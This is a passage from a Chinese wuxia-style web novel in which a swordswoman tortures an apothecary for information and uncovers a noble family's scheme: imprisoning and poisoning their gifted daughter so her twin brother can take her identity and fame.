寻宁早就换上了一身黑色袍子隐藏身形,声音压低,眼神透露出凶狠,逼迫着他开口。 “说出你知道的一切,别逼我动手。” 先前她利索的痛击让药师早就明白眼前此人可不是什么良善之辈,这会不由心底恐惧。 “少侠,我就是个普通药师啊,日常便是给祝府的女眷看病除此之外,倒是没有什么了。” 寻宁冷笑一声,缓缓地将他的手指掰折,倾听他被堵住嘴后痛苦的闷哼,“来吧,继续撒谎。” 等看着寻宁一副要继续的模样,药师被这剧烈的疼痛吓得浑身颤抖,忙摇头示意求饶,寻宁用匕首拍了拍他的脸,不耐烦开口。 “记得别说那些废话,说吧。” “少侠饶命,具体情况我也不知道,只是每个月按照要求进去给女眷看病,说是那女眷是祝府的亲属,我” 话还没说完,寻宁的匕首已经来到了他的手上,迅速挑开他一根手指筋肉。 “你还在撒谎。” 药师的痛苦嘶吼被她用布料堵住,而后寻宁残忍地凑近他,用那双似乎能看透一切的眼睛打量着他。 “你骨头能有多硬?我会一寸寸打断它,让你生不如死地求着说出那些秘密,而且,你的家人孩子,我也会这么做。” 其实这话只是吓唬一番他而已,寻宁自认为自己可不是那么丧尽天良的人。 起初药师还在忍,但等到听到寻宁对于自己家人具体的描述后顿时绷不住了。 一副恨惨了她的模样。 有效果—— 她拉长音调:“早在给祝府干这事的时候你就该知道你家人的下场。” 同时拿出他先前藏起来的那病历记录刺激他。 “看在你那大儿子的份上,说吧,这里面的人是谁,现在在哪。” 药师一愣,没想到她竟然会拿到自己的病历记录本,原本就崩溃的心态更加崩溃了几分。 再想想现在他视为家中希望的大儿子更是在此人手中捏着,看来今日是必须要说了。 毕竟当年祝府也是这样威胁他的,他没了办法,才会变成现在这样,虽说一开始他不该贪图祝府那点好处,但是事已至此,又如何能成功从那团烂泥中爬出来呢? 只能开口:“这病历记录本是祝府小娘子的,如今此人在明州崇县的庆山寺内。” 寻宁继续捏着他的脖颈。 “继续,祝府什么时候有过小娘子了?不是只有祝时一人?” 药师略带苦涩。 “当时是龙凤胎。” 听闻这话,寻宁不免脑内闪过诸多过往回忆,她眯起眼睛。 “也就是说,那祝府小娘子才是以前十六年前的天才?” 药师抖得更厉害了,虽然没说话,但是颤抖的身体已经出卖了他。 寻宁不免对这祝府恶心透顶。 ——什么样的地方才会培养出这么恶心的人?极度虚伪,极度残忍。 “你对她做了什么?” 说到这里,药师不免颤抖得更厉害了。 寻宁用匕首贴近了他的脸庞,声音冷得和淬了毒一样。 “你是想吃点硬的了。” 药师忙开口讨饶:“少侠息怒啊,我这就说,当初祝府是想要那种类似于蛊毒的毒药控制着她,因为蛊毒本身毒性太强,会影响她的神智,为了制作出满足控制和不影响神智的需求,后来一众药师研究出一种类似软骨病的毒药,只要将此药吃下去,她便会行动受限,只有在得到解药后才能缓解。” 寻宁听得眉头直蹙,这些人的手段简直是恶心透顶,为了情报她再度用力了一些,将此人的脑袋死死按在地上。 “说说那个府内女眷。” 药师颤抖地继续:“当初用药为了避免直接伤害到祝府小娘子,所以选择用农妇试药,那女眷便是当初表现最好的。” 寻宁冷笑一声。 “按什么标准选的这些农妇?” “自然是按照祝府小娘子的身体情况选的” 寻宁此刻已然憋着一股怒气。 “当初试药的其余农妇呢?死了?” 药师听出来对方话语的冷意,这会试着揣摩对方心意,不敢随便回答,却被寻宁用匕首再次挑断了一根手指的筋骨。 “说。” 剧痛侵袭下,药师的理智早就崩溃,这会只能哭喊着开口:“死了,全都死了。” 寻宁感觉一股怒气铺面而来,——这群畜生们,他们怎么敢这么做!这是多少无辜的生命! “当初的天才是祝家小娘子,那祝时便是偷走她一切的小偷?” 药师疼得直点头,搁往常他不敢,但是现在求生的渴望让他迫不及待想要诉说真相。 “祝府为何要这么做?” 药师赶紧摇头:“少侠,这我真不知道,这不在我能了解到的范围内啊” 寻宁加快审讯速度。 直到从此人嘴里拿到了她想知道的一切。 当然也有部分此人无权限知道的,但已经足够了。 将此消息快速传递给师姐,而后寻宁将药师交给同门,她则是选择直奔祝府。 原先是想看看祝家天才到底是谁,如今看来天才早就被偷梁换柱,且这个小偷还如此正大光明的抢夺着别人的名气,这样的臭虫,简直不可饶恕! 第163章 互换 寻宁从风仙县来之前就做好了准备,若这天才可以结交,她便试图游说,如若游说不了,那便找机会杀了对方。 而眼下这情况,倒是她不曾想到的。 等到用药童的身份混入府内,寻宁找机会给那祝时下了一枚毒药,这是一枚被特意加强后的蛊毒,平时无碍,但若是和母体接触后便会引起剧烈痛楚。 ——先暂时让他多活几天,等她们找到那祝府小娘子后,她必定会亲手杀了这抢夺他人之名的祝时。 而与此同时,寻安则是带人前往寻宁信中所说地点。 话说刚拿到寻宁消息时,虽说早在心中有所猜测,但当真相出现在眼前时,寻安不免微微恼火。 这些年她看到的黑暗也不少,但像祝家这样视人命为草芥,还这般肆意妄为的,倒是头一份,尤其是其中还掺杂着这般让人不耻的顶替事件。 然而此刻,一只信鸽却突然飞到寻安肩膀上。 等她迅速看完信件上所写,顿时脸色冷峻。 “必须快速赶往庆山寺,那边似乎有变故,我怀疑是在调查过程中让他们有所察觉,这会着急转移祝家小娘子。” 而寻宁也在眼看着祝时吃下药后打算离去,只是却突然发生了变故。 原先还算淡定的祝时此刻眉宇间闪过一丝惊慌,而后直奔前厅去找祝老爷子去了。 本来打算走的寻宁倒也被这番变故吸引了注意力。 在她看来,既然有师姐她们去查看那祝家小娘子,定是没什么纰漏才是,相比于多一个她,不如她先看看这祝时要搞什么鬼。 等到找到一个绝佳的位置偷听其内对话时,便看祝时不复先前冷淡如玉的形象,反而有些急躁开口:“父亲,那边出事了。” 此话一出,祝老爷子立马抬眼看他。 祝时被这眼神看得一阵瑟缩,这会忙开口道:“先前查到有一伙人正在查当年的真相,且查得很深入。” 祝老爷子脸色看上去难看得很,但看到祝时这样毛躁的模样,忍不住在心底叹息。 ——若祝应为男子多好。 “慌什么,天塌下来还有我顶着。怕不是我们那些死对头搞的鬼,现在必须立马去那地方看看。” 这话说完,祝时忙应下来,而后立即让车夫准备车马,他要和父亲连夜赶往那处,毕竟祝应对他们来说实在是太重要了。 当然,除了他们外,还出动了一批祝家特意养的死士,此刻便正是需要他们的时候。 很快,找了辆不起眼的马车,他们连夜出城,直奔那处。 祝老爷子临出发前,只觉得右眼皮子怦怦乱跳,这会心里没底,又立即请那景旭宫的大长老助阵。 ——别人他不敢用,但这位大长老他可是有他的把柄的,两人互相牵制,保证时刻都会为对方添把手。 消息很快传递到了景旭宫内,而得知此消息的池长老先是微微蹙眉,而后心中微微不爽利。 ——这大半夜还来折腾人,不过在看到那地点后,他立即重视起来。 这位置难道是那个秘密有暴露的风险? 这会忙收拾符咒,急匆匆赶往那信件上所提之处。 马车上的祝时在看到老爷子竟然还给景旭宫发了信件后,这会不免心底惊讶。 看来那边的事很严重啊,不然就靠家中的死士绝对够用了。 看着祝老爷子这般严肃,祝时什么话都不敢说,尤其是看到自家父亲看他那副失望的表情后,他面上没变化,实际上心底恨得咬牙切齿。 而在他们身后,寻宁则是跟得死死的,生怕错过任何一个细节。 为了避免暴露,她刻意让自己距离对方远了一些,但又处于很快加把速度就能追上的程度。 刚才按照她听的东西,这祝家人应当是要去那关押着祝府小娘子的地方去。 一路上她跟着前面的人,越走越发觉此处地形颇为复杂,若不是有前人带路,估计会在这里绕很久。 想到即将过去的师姐,她边往前走,边留下特殊的记号提醒后面的师姐。 绕过不少小路和弯路后,一行人总算是到了目的地。 而庆山寺那边的人,先前因为消息还没传递过来,所以暂时还是按照原计划关押着祝应。 直到祝老爷子的马车到来,他们这才立即提升了警戒程度,整个庆山寺目前就像是铁桶一般,防护得严实。 话说寻安一行人虽说走得早,但毕竟因为去的是从未去过的目的地,且这处地方确实古怪,很容易绕圈子。 本还在思索到底应该走哪条路,结果倒是发现了熟悉的记号。 看到这记号,寻安不免心里一个咯噔。 ——寻宁的,而寻宁按道理是要比她们后到才是,除非是祝府出了什么意外,她也意外先跟着去了。 思索一番,很有可能那祝家的帮手已经到了。 寻安内心不免微微紧迫起来,这会一路沿着寻宁做的记号带人快步赶往目的地。 而此刻,庆山寺,寻宁看着眼前防护得紧密的人群,眉宇间也露出一抹苦恼。 人太多了,就算是单兵作战能力不如她们,但架不住对方人多。 且刚才她看了一眼,这些人中基本上大部分是比她们差一级的打手,但有一批凌厉的死士,不可小觑,想必会和她们打个平手。 但若是加上先前那些人,这么看来,她们这次战斗恐怕会异常艰辛,但此时若是再发消息让人过来支援,肯定时间不够。 或许看能不能找个机会将那祝府小娘子带走。 寻宁不免陷入沉思。 同时,她立即将消息快速传递给了师姐,而后则是在脑内疯狂寻找着应对策略,以及带走她的概率有多大。 而一路赶路的寻安在得到这消息后,不免面色凝重。 ——若真按师妹所说,这次的战斗确实很悬,但她还是需要将信发出去,毕竟若是能拖到援兵来,倒也不见得会输。 眼看那信鸽飞走,寻安不免心思沉重。 但依旧快速赶往那处。 庆山寺。 祝老爷子和祝时二人先行进入那屋内。 上次来的时候还是半年前。 进入屋内前,祝时忍不住紧握拳头,眼内闪过一抹凌厉。 倒是祝老爷子面无表情。 门口负责看守的人忙将二人迎进去。 屋内升起一股浓厚的苦涩药味和一种淡淡的腐朽味道。 祝时看着躺在床上,面色苍白的妹妹,心中闪过一丝莫名的情绪,但很快,这种情绪便被他内心的嫉妒和愤怒压抑住。 但是他什么话都不敢说,只能先等着父亲先说。 祝父看着消瘦苍白的祝应,脑内闪过的却是她当年小时候搂着自己的腿,笑着喊着让他教她读书认字的那会。 祝应从小就展露出了绝佳的天赋,这点祝父早就发现了。 当时府内生了龙凤胎,本是一件好事,当时他已经想好了该如何教导这两个孩子,但这龙凤胎生下后,先是娘子因难产去世,而后便是儿子体弱多病,请了景旭宫内的人来看,说必须要在道观内养到十六岁,这才能破了这早夭之态。 一时间,本该是好事,但祝府却无人敢提及此事。 祝父下葬妻子,而后给两个孩子起名,一个叫祝时,一个叫祝应。 因祝时被道观带走,而祝应则是被他留在身旁悉心教导。 和那虚弱的祝时不同,祝应一生下来就健康活泼。 看着这个孩子,祝父沉默了片刻便离开了,只是命人好生养着。 说实话,当时祝父对这个女儿的态度有些偏见——自带的煞星,吸了兄弟的营养,害死亲母,实在是让他无法生出父爱。 直到三年后,祝应的天赋逐渐显露,竟然可以口述他随口一念的一段书本内容,且这内容又绕口又晦涩,但祝应却说得清晰而又准确,竟无一字出错。 祝父几乎是瞬间意识到,这个孩子可能是个读书的好料子。 于是他试着亲自教导祝应,越是教导,心中便是难以抑制的惊愕和懊恼。 ——天赋之高,以他的学问日后定是不够的。 懊恼便懊恼在,祝应是个女儿身。 若是男孩,他这会早就兴奋得四处乱炫耀了,但是个女孩,就很尴尬了。 毕竟这个时代,就算女儿再聪慧也无法入朝为官,无法入朝为官,那对祝家便无任何助力。 祝父思索了一晚上,始终是不甘心,而后他做出了一个大胆的决定,将祝应假作为男孩养着。 毕竟这样的天才是祝家的希望,是他绝对不能放弃的东西。 一旦确认了自己要做的事,祝父立即行动起来,先是处理了一波得知生产那日的人,而后又将府内知晓此事的人陆陆续续都处理一遍,等到后来,祝应身后只有贴身丫鬟和麽麽才知道此事。 但这几人的家人和契约都在他手中捏着,想来是闹不出水花。 为了日后考虑,祝父给兄妹两暂时互换了姓名,从今往后,这黎州元城只有祝时了。 而与此同时,他特意请了最为有名的老师前来教导“祝时”,这名师起初还不愿意,但等到看到小“祝时”后,再亲自校考一番,立即麻溜地过来准备教导神童了,要知道在他看来,“祝时”此人绝对是个天才,能给天才当老师,日后等天才出名后,他只会更为受人尊敬。 看到这一幕,祝父眼内带着骄傲,而后又隐隐约约划过一抹复杂。 若祝应是个男子该多好,他不必考虑这么多,只需要做好一个好父亲的角色足矣。 而非像现在这样,时刻处于走钢丝的阶段。 在这名师的教导下,“祝时”很快便在黎州元城出了名,——小人儿长得和菩萨座下的童子一般,更别提在元城一众孩童的学堂校考中,“祝时”遥遥领先。 第164章 过往 祝父记得当初的黎州,无人不晓“祝时”大名。 “祝时”不仅仅是从小优秀到大,在十二岁时,她就提出了一项令人惊诧的改进水利修筑之法。 这水利修建法工部各位传阅后,无不称赞这法子实在是奇妙。 很快,这改进水利之法被用到了水利工程上,而在“祝时”十四岁时,更是创造了独特的“地下水管系统”,用以处理污水,排除下雨过多的雨水,这套方案不仅仅被采纳用到了宫内,更是被各个县域分散下去按此计划修建管路。 除却这之外,“祝时”十五岁被皇帝亲自命为吏部副侍郎,曾多次献计,为大炎朝的民生,政策等方面都提出不少令人耳目一新的见解。 除了读书方面成绩斐然,且“祝时”在六艺也是遥遥领先,其中尤其是射箭最为精通。 不过皇帝当时最喜欢的便是召见“祝时”陪自己下棋。 一来是她棋艺高,二来是她总懂得三盘让他赢一盘,足够有挑战性,又不会说至于灰心丧气。 且更气人的是,十五岁的“祝时”身高腿长,眉眼又俊秀,才华还高,家世也很不错,在当时简直是行走的小娘子收割机。 当初谁没偷偷想过“祝时”? 有时候小娘子们举办诗会,茶会,倒是尝尝聚起来小论“祝时”。 而各个府内的大人物,则也盯上了未来必定前途明朗的“祝时”,这些人官位要比祝父还高,但依旧考虑将女儿嫁给“祝时”。 毕竟虽说目前“祝时”年纪还算小,但此人人品正直,不近女色,容貌俊秀,才华横溢更是所有人都知道的事,再加上小小年纪受皇帝宠爱,且起步便是那样高的位置,他的未来简直是一片光明,日后必定能走到首辅大人的位置。 这样的人物,若是现在不把握住了,日后如何能留住对方的心? 还不如趁着“祝时”年纪不大,先下手抢走这优质股。 而祝父在应对这些大人物的邀请,一段时间心里都发愁。 ——若是“祝时”真是个男子,他现在早就开开心心地选择了,何必还要辛辛苦苦地想办法拖延过去,总怕会惹人不满意。 在当初,“祝时”的风头确实一时无人能及,而祝父一边胆战心惊,一边享受着众人的追捧。 那会只要是和祝家有关的,和“祝时”有关的,这些人自然免不了一顿吹捧,而后“祝时”被簇拥在众人中间,仿若众星拱月。 直到十六岁,“祝时”来了初潮,仿若这件事才让祝父深刻意识到,“祝时”是个女孩。 他抽空去了那道观一趟,看到祝时那张和祝应越来越相似的脸庞,不由地产生了新的想法。 ——既然长得一样,他可以让祝时出去负责交涉,成亲生子,获取助力,而祝应的话,就在家里给家中出谋划策,毕竟这可是整个家族的事。 其实早在先前,祝父在发现祝应的读书天分后,立即也去试了试祝时的,希望家中能出现两个天才,但很可惜,像祝应这样的天才实在是太少了,且更让人气愤的是,祝时不仅算不上天才,他竟然是连自己的才学都比不过,仅仅只能说尚可。 祝父不免一阵绝望,这会读书的希望只能全放在祝应身上。 而日后伴随着祝应给他带来的惊喜越来越多,他慢慢的不免将注意力从祝时身上挪走了几分。 原先可能一个月见一次祝时,现在差不多半年,祝父才去见一次祝时。 好在是确实如同当初那道士所说,祝时至少在道观内成功长大了,不至于落个早夭。 而与此同时,祝父则是对祝应的培养更为上心,这让当初年纪小小的祝时一时间陷入一种被抛弃的痛苦中。 他从小在道观长大,这里虽说不缺少吃喝,但是养得终归不够精细,但他时不时总还能见一见父亲,每个月月的月尾是他最兴奋的时候,因为这便意味着父亲来看他了。 祝时记得父亲那副模样,——高瘦严肃,留着胡须,来了必定会来校考他学业,也时长凶巴巴地。 但祝时当时只觉得欣喜。 尤其是长大了一些,知道了他为何需要在道观被养大时,他变得极为心情平缓。 ——他和他们说的闲话不一样,他只是因为需要在这里破除自己的命运而已,父亲是无可奈何的,他素日忙碌,并没有那么多的时间看自己,他得好好努力,坚持下去,等到十六岁后,他就可以从道观离开,回家了。 本来是这么想的,直到等到了月尾,他却没能等来父亲的身影。 负责伺候他的人拉着他往回走,他死活不愿意,哭喊着,仿佛被抛弃一样。 因心情郁闷,等没过几日,便高烧不退。 他躺在床上奄奄一息,烧得额头滚烫之际,却看到了父亲坐在床边的身影。 等到第二天醒来,人走了,他的烧也逐渐退下去了。 当初祝时只是觉得父亲那个月忙碌而已,所以才不曾去看他,但当这种偶然成为必然时,祝时忍不住心头颤抖,身子冰凉。 ——所以,他和别人说的一样,是被父亲抛弃在这里不要的孩子。 他变得异常敏感,在道观读书时,时不时会想着法子地打听山下的事,但大部分时候,这些人都会避开他,他就算想打探也打探不上,只能无奈作罢,日子一晃他便已经十五岁,眼看离下山不到一年时间,却在偶然一次听到新来的负责照顾他的下人低声开口谈论道。 “可曾听说那祝家小郎君?” “哦,咱们这位不就是么?” “啧,不是这位,是山下那位。” “不曾,怎么了?” 那人兴奋地凑近,“山下的祝小郎君可是个实打实的天才,我听人说,那小郎君从小就天资卓越,被祝老爷看得紧得仿若眼珠子一样,不过也能理解,毕竟那么年轻,又那么优秀,未来简直是前途不可估量啊。” 另一人不免心潮澎湃。 “怎地这么邪乎,咱们这里的这位祝小郎君却没那个天分?” “人和人不一样吧,美玉和砖石的区别,我听说那山下的祝小郎君不仅头脑好,而且六艺也都十分精湛,就连圣上时不时都会召见那祝小郎君过去陪着下棋呢。” “这么厉害?” “是吧,那祝小郎君如今不过才十五岁,现已经被圣上先任命为吏部副侍郎了。” “嘶——这般小的年纪,这么高的官职?依我看,日后祝老爷恐怕是要靠着这祝小郎君一飞冲天啊。” “可不是怎地,所以这才没空过来看咱们这位祝小郎君,原先据说一个月一次,后来直接给改成一年一次了,毕竟谁都知道更应该将注意力放在谁身上。” 两人对话还在继续,但祝时已经听不下去了。 他跌跌撞撞地往回走,失魂落魄,一时间接受不了除了他以外,父亲竟然还有别的孩子,且那个孩子明显听着就是人中龙凤,和他这样因病被养在山上道观的人简直不是一个类型的。 回想到先前他还在猜测自己被送上山的原因是否是因为疾病,或是因为父亲的厌恶,这会对他来说竟然都已经没那么重要了。 原来他还能找借口,找借口说父亲只有他一个孩子,不经常来看他肯定是因为他身上的疾病发生了变化,这才改成了一年一次,但从这些人口中,他得知到了另一个更为优秀的祝家小郎君存在,以前那些强迫自己相信的东西,眼下似乎不用他撕裂,也逐渐破裂开来。 那些虚假的,摇摇欲坠的借口全都消失了。 祝时觉得自己的人生一片昏暗,甚至原先渴望了许久的下山,此刻也不曾再让他那颗心再次跳动。 但他别无选择,——没有了父亲的关爱,没有了家中的支持,他什么都不是,这一点,他一直看得很透彻。 等着十六岁下山的日子,祝时觉得自己已经做好了未来昏暗的,需要被时刻对比的人生,他已经想好了那如同明月一样的弟弟,亦或是哥哥,会对他露出什么样的表情来,但这一切他无力改变,只能静待事情发展。 但很快,不到下山日子时,父亲却先来了。 尽管已经知道了原先那些过往不来看他的缘故,但祝时承认,自己不知道是因为恐惧,还是渴求,对待父亲反而更为尊敬了几分。 直到他说出那足以令他震撼到极致的话来,祝时这才瞪大眼睛,一副不敢置信的模样。 “父亲,您的意思是,让我去扮演妹妹?” 一时间,他原先的预设被全部打碎,他无论如何也没想到那山下叱咤风云的祝家小郎君,那个天才少年竟然是他妹妹! 祝父微笑着,用最为诱惑的话语诱惑他。 “祝时,你叫祝时。我早就料到了这一天,当初才为你们兄妹换了名字,等到现在你便可以直接扮演你妹妹,为父实在是有苦衷,你不会怪罪父亲的吧? 当初你母亲生产完你们后便撒手人寰,你因要破除那等早夭之命,我这才将你送入这道观内,你妹妹倒是我意外发现天赋颇高,最后实在忍心不下,让你妹妹女扮男装,替咱们祝府赢一场搏命的颇天富贵,只是越往后,这路便越难走,若想维持我们家的体面和辉煌,就必须要你们共同合作,时儿,你是怎么想的?” 祝时楞在原地。 过量的真相让他大脑反应不过来,但同时又生出一抹担忧——那般优秀的妹妹,他真的能扮演好? 第165章 嘲讽 但与此同时,祝时脑内也对祝父的行为震惊不已。 ——女扮男装,这可是欺君之罪。 若真让圣上知道了,他们祝府绝不会有好果子吃。 想到这关联着数人性命,祝时不免心脏砰砰直跳。 而后提出质疑。 “父亲,儿臣自然是愿意为家里分忧的,只是妹妹太过于优秀,我如何能扮演她?且圣上会见时,我定要露馅。” 这疑问很正常,毕竟祝应的才能确实无法伪装。 而祝父则是徐徐开口。 “我会让你装病,先躲过这波风波。” 祝时本还想继续问,但看到祝父已不耐烦,那想继续询问的话卡在喉咙里说不出来。 只能接受。 而祝父则是同样给祝应做思想工作。 当祝应得知自己竟然还有个龙凤胎哥哥,且父亲想的法子如此令她无法接受后,自然不乐意。 祝应缓缓开口,语气却是很冷。 “父亲,我认为此事不妥,风险太大,不如我对外宣称身体有疾不方便婚嫁,而后我们找一个更熟悉的,本就不愿意成婚的小娘子假装和我在一起。 我自会好好对待那小娘子,这辈子让她安稳。 至于哥哥下山的话,我也会对他尊敬爱护,等哥哥成亲,结婚生子,他的孩子我愿意养在膝下养育,作为我们祝府的嫡子接手未来祝府。 我这想法父亲觉得如何?” 祝父倒是被祝应的想法微微震撼在原地,但很快,这样做的话,就会减少一部分妻族的助力,且再加上皇帝很快就要病故,到时候局势不明朗,还不如找个强大的妻族可以确保祝家的地位能持续上涨。 一番思索后,祝父便将自己的想法大概说了一番,大意便是期望祝应能在府内,日后负责给祝时在朝廷上提供助力。 祝应内心一片冰凉。 她从小就被当男子养大,起初不理解,但后续在亲自感受到男子身份的好处后,她反而倒是对父亲毫无怨言,且对于她的教育,祝父向来都很舍得,各方面尽心尽力,绝对称得上对她十分好。 尤其是她后续展露天赋,在学业上,父亲对待她更是上心,且温和。 当初府内嫡子只有她一人,她自然认为父亲是爱她的,虽说没有让她像个小娘子一样长大,但是她获得的东西远远要比失去的多。 虽说她从小便能猜到父亲对她上心的原因有一半都是因为她足够争气,足够适合读书,有望带着祝府一飞冲天,但这对于来说,并不是什么难以接受的真相。 毕竟从小将她按照男子一样养大,祝父也承受了不少压力。 尤其是她越长越大,各方面完美无缺,且是适宜婚嫁年龄,祝应自是早就替自己以及府内想好了处理手段。 在她看来,以她的魅力吸引一个心甘情愿的小娘子配合自己,定是不难,她也定不会辜负对方,会用尽自己一切去保护对方。 本是这么想的,但当祝父告诉他那个荒谬的真相,以及他想到的解决办法时,祝应不免觉得不真实。 原先对于他的滤镜完全散开——完全自私,他除了爱他自己,谁也不爱。 之前隐隐约约能感觉到,却不愿意承认的某些东西,在此刻却逐渐明确起来,这些东西浮现在她脑内,像是告诉她,过往试图躲避,试图不曾想去面对的真相有多残忍。 但祝应知道她眼下最好的出路便是必须要说服父亲,无论用何种方式。 但等祝父说出那等要靠妻族获取助力的想法后,祝应很快便晓得,她会输。 先和祝父虚与委蛇,而后祝应打算逃离祝家。 毕竟她无法后半辈子作为一个影子活下去,为了整个祝家活下去。 她既有这等才华,可选择幽州,明州,何故非要呆在黎州? 到底是因为此事涉及颇深,若是不顾一切的大闹会让所有人都丢了命,包括自己,于是她只是暗中谋划这一切。 等到一切准备好后,祝应带着她最亲近的人,直奔幽州。 但却在中途不幸被祝父捕获,暴怒的祝父顾不得太多,将她控制起来,试图让她屈服。 眼看祝应不肯屈服,祝父气急冷笑。 “若你想让跟着你的这些人都去死,那你便大可这样。” 祝应脑内闪过陪伴了自己许久的麽麽和丫鬟,终究忍不住无奈同意。 她现在仿若困兽,必须要先放走且保全手下人,这才能慢慢找到脱离的机会。 为了防止祝应逃跑,祝父给她喂了药,这药除了不会影响她的大脑,但却时刻让她的身体处于虚弱的,无法多动弹的情况。 祝应想过方法自救,但这些方法全都无用。 她在这里呆了很久。 看着自己像是被束缚住翅膀的鸟,慢慢地被折磨,被残忍地拖着,让她受尽折磨却不让她继续往下坠落。 想到过往,祝应眼内闪过一抹复杂的情绪。 祝父口中所说的龙凤胎兄长,她见到过一次。 当时她已经被用药物控制住,在服了解药后,勉强控制自己能够行走,保持体面。 见到他时,她正坐在凳子上,身穿一身素衣,面色惨白。 而后和那穿着官服的兄长缓缓对视。 ——穿着属于她的那身紫色官袍。 祝应看着这张和自己仿若无异的面庞陷入死一样的沉默。 很像的两个人,她这个陌生的兄长看起来要更忧郁一些,不像原先的她一般自信。 他说:“祝应,你别淘气,为家里多考虑考虑,我不想占据你的位置,只是迫不得已。” 祝应 被叫了十六年的祝时,一时间被叫祝应她不曾反应过来。 看着眼前的妹妹呆愣,祝时无法控制地产生一种隐秘的快感。 他孤单寂寞,受人忽略的十六年,在十六岁这一天反转了,而她的人生则是被囚禁在此,和他以前一样。 或许要比他更惨一些。 原先刚开始扮演她时,祝时浑身不自在,但时间一长,沐浴在她创造的天才光环下,那些不安慢慢缓解,随处被人崇拜,被人尊敬,被人重视,以及被祝父重视的快感让他忍不住想要更多。 就像在沙漠行走,原先每日只有一口水喝的人,这会却拥有了一片湖泊。 他迫不及待地在这湖泊内畅游,畅饮,干以前自己想做的任何一件事。 祝时觉得自己从未如此放松且自由。 因祝父处理得十分巧妙,皇帝病死,不会再有人来打扰他,不会说会在面对皇帝时被发现不对劲。 而趁着放出去的生病幌子,他正接受着祝父的培训。 ——关于如何更好的扮演。 习惯,性格,读书,生活的方方面面,虽说不至于面面俱到,但也必须做到心中有数,大方向上不能错。 不知道是因为心境的变化亦或是什么,祝时在府内倒是学习效率提高了许多,虽说照祝应要差上许多,但那也算得上一个优秀的世家弟子。 这点发现让祝父稍微高兴了几分,毕竟他总算不用提心吊胆的担心祝时因为能力不够而扮演不像。 ——他现在早就做出决定了,每隔一段时间,便让祝应替祝时写一些惊才艳艳的策略出来,这些东西既保证了人设的完善,再加上可以借口说祝时病后精力有限,也说得通。 至于婚嫁上,祝父优先选择位高权重且嫡女相较比较平庸的,这样便可以保障此小娘子并不能发现祝时身上的异常,且拿捏起来也相对容易。 很快,祝时便定了婚约。 当日,不少黎州小娘子简直心碎一地,但看着订婚对象,不免纷纷猜测祝时的喜好。 “居然是她,祝时喜欢那等平庸的小娘子?而非那些才女?” “依我看可能聪明的人会觉得笨一点的人相处更放松?” “那这话说得不对,对于祝时来说,任何人都是笨啊。” “万一是喜欢呢,你们往好处想想” “天真,这地哪有什么喜不喜欢的,依我看是因为助力而已” 说什么的都有,但大都是众人的猜测,没有个根据,但不得不说,关于祝时的婚嫁问题总算解决了。 扮演了一段时间后,祝时去看这个妹妹。 毕竟他是第一次和对方相见。 在选择穿衣上,不知为何,他鬼使神差般选择了那套紫色的衣服。 眼下看着身穿素衣,面色不好,却和自己足够相似的妹妹,说实话,祝时对这个妹妹,观感复杂。 仅存的良知告诉他,这对她来说并不公平,但事实就是,他无法控制自己的羡慕,嫉妒,恶意,只用表面的云淡风轻来掩饰自己的这些复杂的,见不得人的情绪,他习惯于祝父给他的无可拒绝的理由,——为了家里,为了所有人。 这个足够光明正大的原因足以覆盖他所有的阴暗心思。 但祝应只是淡淡地看了他一眼,问道:“我的官服你穿起来不是很合身。” 仅仅一句话,便让祝时假装的东西全部撕裂。 这时时刻刻都在提醒他,他只不过是个可怜的,可悲的,见不得光的,抢走别人名声和地位的窃贼。 一时间,祝时那张脸装出来的淡定全都消散不见,只是一脸阴沉地看着眼前的妹妹。 他露出微笑。 “你知道吗,刚生下来时,你叫祝应,后来改成我的名字不过是因为父亲早就料到了今日。 现在叫你祝应你是不是有些不习惯? 没关系,时间久了,你会习惯的。” 他露出恶意的微笑,像是报复一般。 祝应没像他想的那样恼羞成怒,而是淡淡嘲讽。 “自然会像你穿我官袍一样习惯。” 第166章 惊险 脑内那个熟悉的身影逐渐变得模糊,他很久没再去看过祝应。 算下来,这十六年里,加上这次不过是第三次见面而已。 第二次见面时,他只是远远地隔着窗户看了一眼。 和祝父一起。 当时祝父进去和祝应说话,而他则是透过那窗户,看到她那苍白单薄的身影有些微微愣神。 ——和几年前看到的模样不一样了,现在的祝应看着不再像他,反而像个养在深闺的寻常小娘子一样。 他静静地抬头去看,却和对方的眼神对上。 那双眼睛没有变。 锐利,却又安静,蕴含了一丝若有若无的嘲讽。 祝时下意识避开视线,随后先行回了马车,等着祝父,脑内却不自觉闪过她那锐利的眼神。 等到回到黎州元城,这眼神也时时刻刻在折磨着他,让他夜半惊醒。 至此,祝时再也不敢去见她,直到这次情况特殊,这才再次来到了这里。 第三次见面时,看起来祝应病得更厉害了。 她只能躺着,微微闭眼,似乎每说一句话都会是一番折磨。 祝时心里复杂,而祝父则从以往记忆中回神,一时间情绪激惹。 ——若是当日祝应好好接受他的提议,如何能闹到如今这地步! 之前那药师依旧在给她试药,试图控制住她发病的速度,但谁也没料到,这病绝非那等能控制住的病,反而是表面上看着暂且一切都好,但实际上,这幅身体的亏空只有本人知道。 回忆当初种种,祝父心中只能叹息一声天意如此。 ——祝时在十六岁重获新生,而祝应则是被迫接受了他的命运,那逐渐趋向死亡的命运。 原来所谓当初那道士给祝时的批命是不假——早夭之命,如今他没事,但这命运却落到了祝应身上。 这是否说明在他参与下干涉后的结果? 祝父隐约有种这感觉,看着祝应气若游丝的模样,他内心复杂。 他错了? 不,他一切都是祝家,为了日后祝家的利益,若是没有牺牲,如何谈及祝家辉煌? 再想到先前他花费重金求医,却无一人能处理这病,眼看祝应逐渐死去,他却毫无办法。 本想再看看情况,但谁知道,竟然有人先发现祝应的存在了。 这对于目前已经算经营得成功的祝家来说,这绝对是无法接受的损失,相较于转移祝应和杀死祝应,祝父很快就做出了决定。 他坐在床旁,看着这个曾经骄傲的女儿,脸上流露出回忆的表情。 而祝应则是缓缓睁眼看他。 “看来是出了变故,父亲打算何时杀了我这个废人?” 她似笑非笑,那张没什么表情的苍白面孔此刻却流露出细微的表情松动。 祝时在另一旁看着他们对峙,却一句话都不敢说。 祝父眼内划过一抹异样,胸口有种说不清道不明的感觉正在充斥。 “为父总会被你惊叹到。” 祝应咳嗽一声,闭目不语。 静默的气氛在屋内流淌,粘稠得像是挥不开的雾。 有人进来送了一碗汤药,瓷碗磕碰在桌子发出瓷器碰撞的声音。 祝应冷声。 “把药端给我。” 她已经知道油尽灯枯,熬着没有任何盼头,不如早死早解脱。 且她不愿意被人强行灌下去这碗药,不如自己喝下去,得个最后的体面。 在这待的每一分每一秒,都让她觉得十分恶心。 先前她是想死,但死不了,而现在,倒是他们求着她去死。 那碗药被她死死地端在手心里,她靠在墙上坐着,双手因为疲惫而微微颤抖。 